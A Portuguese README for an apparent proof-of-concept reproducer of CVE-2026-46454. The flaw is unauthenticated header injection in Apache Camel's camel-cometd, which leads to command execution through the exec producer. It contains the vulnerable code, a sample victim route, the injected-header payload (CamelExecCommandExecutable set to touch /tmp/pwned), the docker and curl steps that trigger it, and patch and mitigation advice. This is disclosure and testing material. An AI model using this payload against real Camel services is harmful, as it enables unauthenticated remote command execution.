
Reprodutor para CVE-2026-46454 — Injeção de cabeçalho Bayeux de entrada no Apache Camel camel-cometd (injeção de cabeçalho de controle não autenticada no Camel → direcionamento de produtor a jusante / RCE)
Este projeto demonstra uma injeção de cabeçalho de mensagem no componente camel-cometd do Apache Camel, rastreada como
CVE-2026-46454. O componente mapeia cabeçalhos de mensagens Bayeux (CometD) de entrada para o Camel Exchange sem
um HeaderFilterStrategy. CometdBinding.createCamelMessage copia todo o mapa ext.CamelHeaders fornecido
pelo cliente CometD diretamente para a mensagem Camel (message.setHeaders(...)), portanto qualquer nome de cabeçalho — incluindo
cabeçalhos de controle internos do Camel como CamelHttpUri, CamelFileName, CamelJmsDestinationName (ou, como aqui,
os cabeçalhos de controle do camel-exec) — é aceito sem modificação. Como um CometdComponent instala nenhum SecurityPolicy
Bayeux por padrão, qualquer cliente que consiga completar o handshake Bayeux pode publicar tal mensagem
sem autenticação e direcionar produtores downstream na rota.
Aviso: https://camel.apache.org/security/CVE-2026-46454.html
| Propriedade | Valor |
|---|---|
| Componente | camel-cometd |
| Classe Afetada | org.apache.camel.component.cometd.CometdBinding#createCamelMessage (message.setHeaders(...)) |
| CWE | CWE-20: Validação de Entrada Incorreta |
| Impacto | Injeção não autenticada de cabeçalhos de controle do Camel → direcionar produtores downstream (RCE via exec aqui) |
| Versões Afetadas | De 4.0.0 antes de 4.14.8, de 4.15.0 antes de 4.18.3, de 4.19.0 antes de 4.21.0 |
| Versões Corrigidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23507 |
| Relator | Yu Bao (PayPal) |
Mesma família de injeção de cabeçalho que CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 e CVE-2026-47323 — componentes que mapeiam cabeçalhos de entrada no Exchange sem filtrar o namespace
Camel.
// CometdBinding.createCamelMessage(...) - affected 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage); // reads client-supplied ext.CamelHeaders
if (headers != null) {
message.setHeaders(headers); // <-- no HeaderFilterStrategy
}
O cliente controla ext.CamelHeaders, portanto pode definir qualquer cabeçalho de controle do Camel no Exchange. A
correção (4.14.8 / 4.18.3 / 4.21.0) implementa um HeaderFilterStrategy (um TODO de longa data no código) que
filtra o namespace Camel* / camel* de forma insensível a maiúsculas/minúsculas no mapeamento de entrada.
from("cometd://0.0.0.0:8088/service/inject")
.to("exec:echo?args=hello"); // route author only intends to run: echo hello
Um atacante publica em /service/inject com ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" }; o binding os mapeia para o Exchange e o produtor
exec executa o comando do atacante em vez disso.
Autocontido: o consumidor camel-cometd executa um servidor Bayeux incorporado (porta 8088) dentro da aplicação, e o
endpoint /exploit/attack atua como o cliente CometD não autenticado.
CVE-2026-46454/
├── pom.xml # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # from("cometd://.../service/inject").to("exec:echo")
│ └── ExploitController.java # attacker BayeuxClient: handshake + publish with ext.CamelHeaders
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> Handshaked (unauthenticated) and published to /service/inject with ext.CamelHeaders = {...}.
# The camel-cometd consumer mapped them onto the Exchange; the exec producer ran the command.
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-46454 ls -la /tmp/pwned
docker compose down
Qualquer rota com um consumidor camel-cometd alimentando um produtor downstream cujo comportamento é controlado por cabeçalhos
Camel — um produtor HTTP (CamelHttpUri), um produtor de arquivo (CamelFileName), um produtor JMS
(CamelJmsDestinationName), um produtor exec (CamelExecCommand*), etc. Qualquer cliente que consiga fazer handshake com
o endpoint Bayeux pode injetá-los; nenhuma autenticação é necessária por padrão. Os cabeçalhos injetados persistem
através de hops internos direct, seda e vm.
SecurityPolicy Bayeux no CometdComponent (o padrão), então qualquer cliente pode publicar.Atualizar para 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23507), que adiciona um HeaderFilterStrategy ao binding cometd
que bloqueia cabeçalhos Camel* / camel* fornecidos pelo cliente no mapeamento de entrada.
Até a atualização:
.removeHeaders("Camel*") e .removeHeaders("camel*").SecurityPolicy Bayeux explícito no CometdComponent para que apenas clientes autenticados possam
publicar.Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.